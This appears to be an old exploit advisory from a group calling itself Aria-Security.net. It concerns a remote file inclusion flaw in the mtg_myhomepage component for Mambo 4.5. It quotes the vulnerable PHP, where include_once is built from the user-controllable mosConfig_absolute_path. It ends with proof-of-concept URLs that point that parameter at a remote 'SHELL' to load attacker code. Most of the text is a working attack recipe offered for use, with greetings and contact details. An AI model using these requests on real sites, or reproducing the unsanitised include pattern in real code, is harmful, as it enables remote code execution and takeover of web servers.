mtg_myhomepage.txt

` ###########################################################################################  
# Aria-Security.net Advisory #  
# Discovered by: O.U.T.L.A.W #   
  
# < www.Aria-security.net > #  
# Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp #  
# #  
###########################################################################################  
#Software: mtg_myhomepage Component For Mambo 4.5  
#Vendor : http://www.kamgaing.com/  
#Attack method: Remote File Inclusion  
  
#Source:  
  
  
if (file_exists  
  
($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php'))  
include_once  
  
($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php');  
else  
include_once  
  
($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/english.php');  
  
if ($mosConfig_mbf_content)  
$iso_client_lang = MambelFish::discoverLanguage( $database );  
else  
$iso_client_lang = _LMTG_PRIMARY_LANG;   
  
  
************************************************************************************  
  
  
#Proof of Concept:   
#install.lmtg_homepage.php?mosConfig_absolute_path= SHELL  
#mtg_homepage.php?mosConfig_absolute_path= SHELL  
#   
#----------------------------------------------------------   
#   
  
  
#   
#Contact : [email protected]   
  
  
`